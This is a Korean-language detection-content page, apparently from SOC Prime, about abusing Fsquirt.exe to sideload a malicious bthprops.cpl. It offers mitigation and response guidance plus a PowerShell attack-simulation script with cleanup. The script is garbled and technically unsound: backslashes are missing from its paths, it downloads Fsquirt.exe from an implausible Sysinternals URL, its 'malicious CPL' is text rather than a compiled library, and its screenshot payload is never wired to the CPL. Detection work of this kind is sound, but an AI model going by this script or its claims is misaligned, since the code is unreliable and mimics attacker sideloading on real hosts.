Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 글은 정당한 Windows 바이너리 Fsquirt.exe가 현재 작업 디렉터리에서 악성 제어판 애플릿(bthprops.cpl)을 로드하도록 강제하는 개념 증명을 제시합니다. 악성 CPL이 존재하면 Fsquirt.exe가 이를 로드하고 공격자가 제어하는 코드를 실행합니다. 이는 DLL의 DllMain 진입점에서 메시지 박스를 트리거하여 예시됩니다. 이 예시는 공격자가 정교하게 제작된 CPL을 합법적인 실행 파일 옆에 배치할 수 있을 때, 신뢰할 수 있는 바이너리를 어떻게 자유롭게 코드 실행에 악용할 수 있는지를 강조합니다.
조사
연구자들은 악성 bthprops.cpl의 소스 코드 및 이를 컴파일하기 위한 빌드 스크립트가 포함된 저장소를 발표했습니다. Fsquirt.exe가 동일한 디렉토리에 있을 때 이를 검색하고 로드하도록 CPL이 설계되었습니다. 성공적인 실행은 CPL이 메시지 박스를 표시하여 신뢰할 수 있는 바이너리가 공격자가 공급한 애플릿의 코드를 로드하고 실행했음을 확인할 때 검증됩니다. PoC는 최소한의 네트워크 텔레메트리를 남기는, 고전적인 LOLBin 스타일의 남용 사례로 위치하고 있습니다.
완화
승인된 CPL 파일만 예상 시스템 위치에서 실행될 수 있도록 응용 프로그램 허용 목록을 사용하고, Fsquirt.exe와 같은 바이너리가 비표준 디렉토리에서 실행되지 않도록 실행 경로를 제한하세요. Fsquirt.exe가 신뢰할 수 있는 시스템 폴더 외부에서 제어판 애플릿을 로드하려는 시도를 모니터링하고 사용자 쓰기 가능 경로에서의 의심스러운 실행을 차단하세요. 일반적인 Windows 실행 파일에서 발생하는 비정상적인 DllMain 시작 동작 및 대화형 UI 결과(예: 메시지 박스 호출)에 대한 엔드포인트 감지를 추가하세요. 특히 사용자가 쓰거나 응용 프로그램이 쓸 수 있는 디렉토리에서 예상치 못한 .cpl 파일을 주기적으로 감사하세요.
대응
Fsquirt.exe가 비표준 bthprops.cpl을 로드하거나 예상치 못한 경로에서 CPL이 실행 중일 때 즉시 경고를 발령하세요. 호스트를 격리하고 악성 CPL 및 관련 실행 텔레메트리를 보존하며 디스크와 메모리 전반에 걸쳐 완전한 악성 코드를 분석하세요. 악성 CPL을 제거하고 이전하거나 함께 배포된 지속성 메커니즘이나 후속 도구를 검토하세요. 마지막으로 유사한 LOLBin 실행 패턴을 환경 전체에서 사냥하고 신뢰할 수 있는 바이너리 사이드 로딩에 대한 정책 제어를 강화하여 노출을 줄이세요.
공격 흐름
이 부분을 계속 업데이트 중입니다. 알림을 받으려면 등록하세요
알림 받기시뮬레이션 실행
전제 조건: 텔레메트리 및 기준선 체크를 통과해야 합니다.
-
공격 서사 및 명령:
적은 처음에 악성 bthprops.cpl (스크린을 캡처하는 페이로드를 실행하도록 제작된)를 Fsquirt.exe와 동일한 디렉토리에 배치합니다. 인수와 함께 Fsquirt.exe를 호출하면
bthprops.cpl, Windows는 CPL을 제어판 애플릿으로 취급하고 이를 로드하여 포함된 악성 코드를 실행합니다. 이는 프로세스 생성 이벤트를 생성하고 여기서 CommandLine 은 정확히bthprops.cpl문자열을 포함하여 Sigma 규칙을 충족시킵니다. -
회귀 테스트 스크립트:
# ------------------------------------------------------------- # Fsquirt CPL 로드 – 악성 시뮬레이션 # 전제 조건: Sysmon 및 보안 감사 활성화됨 (사전 검사 참조) # ------------------------------------------------------------- $workDir = "C:TempFsquirtTest" $fsquirt = "$workDirFsquirt.exe" $cpl = "$workDirbthprops.cpl" $payload = "$workDirCaptureScreen.ps1" # 1. 작업 디렉토리 준비 New-Item -Path $workDir -ItemType Directory -Force | Out-Null # 2. 알려진 Fsquirt 바이너리 다운로드 (공용으로 사용 가능) Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Fsquirt.exe" -OutFile $fsquirt # 3. 악성 CPL 생성 (스텁) – 데모에서는 간단한 스크립틀렛 사용 # 실제 테스트에서 페이로드를 실행하는 C++ CPL을 컴파일하세요. $cplContent = @" [Version] Signature="$Windows NT$" [Control PanelDesktop] "@ Set-Content -Path $cpl -Value $cplContent -Encoding ASCII # 4. 더미 페이로드 생성 (예: 스크린샷 찍기) $payloadContent = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) $bitmap.Save('$workDirscreenshot.png') "@ Set-Content -Path $payload -Value $payloadContent -Encoding UTF8 # 5. 악성 CPL을 로드하여 Fsquirt.exe 실행 Write-Host "악성 CPL과 함께 Fsquirt 실행 중..." Start-Process -FilePath $fsquirt -ArgumentList "bthprops.cpl" -WorkingDirectory $workDir -NoNewWindow -Wait # 6. 페이로드 실행 확인 (스크린샷 생성) if (Test-Path "$workDirscreenshot.png") { Write-Host "페이로드 실행 – 스크린샷 캡처됨." } else { Write-Host "페이로드가 실행되지 않았습니다." } # ------------------------------------------------------------- -
정리 명령:
# 테스트 아티팩트 제거 $workDir = "C:TempFsquirtTest" if (Test-Path $workDir) { Remove-Item -Path $workDir -Recurse -Force Write-Host "정리 완료." } else { Write-Host "제거할 아티팩트가 없습니다." }
SOC Prime의 Detection as Code 플랫폼에 가입하세요 귀사의 비즈니스에 가장 중요한 위협에 대한 가시성을 개선하세요. 시작을 돕고 즉각적인 가치를 제공하기 위해 지금 SOC Prime 전문가와의 회의를 예약하세요.
Cookie Settings
You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information.
| Name | Descripiton |
|---|---|
| PHPSESSID | Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages. |
| sp_i | Used to store information about authenticated User. |
| sp_r | Used to store information about authenticated User. |
| sp_a | Used to store information about authenticated User. |
All information these cookies collect is aggregated and therefore anonymous. If you do not allow these cookies we will not know when you have visited our site, and will not be able to monitor its performance.
| Name | Descripiton |
|---|---|
| tuuid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| tuuid_last_update | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| um | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| umeh | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded. |
| na_sc_x | Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site. |
| APID | Collects anonymous data related to the user's visits to the website. |
| IDSYNC | Collects anonymous data related to the user's visits to the website. |
| _cc_aud | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_cc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_dc | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| _cc_id | Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising. |
| dpm | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| acs | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| clid | Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads. |
| KRTBCOOKIE_# | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PUBMDCID | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| PugT | Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads. |
| ssi | Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads. |
| _tmid | Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips. |
| wam-sync | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| wui | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| AFFICHE_W | Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website. |
| B | Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor. |
| 1P_JAR | These cookies are used to gather website statistics, and track conversion rates. |
| APISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| HSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| NID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SAPISID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| SIDCC | Security cookie to protect users data from unauthorised access. |
| SSID | Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users. |
| __utmx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
| __utmxx | This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website. |
If you do not allow these cookies then some or all of these services may not function properly.
| Name | Descripiton |
|---|---|
| _hjid | Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID. |
| _hjIncludedInSample | This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample. |
| intercom-id-[xxx] | This cookie is used by Intercom as a session so that users can continue a chat as they move through the site. |
| intercom-session-[xxx] | Used to keeping track of sessions and remember logins and conversations. |
| demdex | Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads. |
| CookieConsent | Stores the user's cookie consent state for the current domain. |
| __cfduid | Used by the content network, Cloudflare, to identify trusted web traffic. |
| ss | These cookies enable the website to provide enhanced functionality and
personalisation . They may be set by us or by third party providers whose
services we have added to our pages. These services may include the Live Chat facility, Contact Us form(s), the Product Quotation forms and submission process, and the Email Newsletter sign up functionality . |
They do not store directly personal information, but are based on uniquely identifying your browser and internet device. If you do not allow these cookies, you will experience less targeted advertising.
| Name | Descripiton |
|---|---|
| _ga | This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners. |
| _gat | Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes. |
| _gid | This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. |
| IDE | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| r/collect | Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user. |
| test_cookie | Used to check if the user's browser supports cookies. |
| collect | Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels. |
| ads/user-lists/# | These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites. |
| c | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| khaos | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| put_# | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpb | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| rpx | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |
| tap.php | Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network. |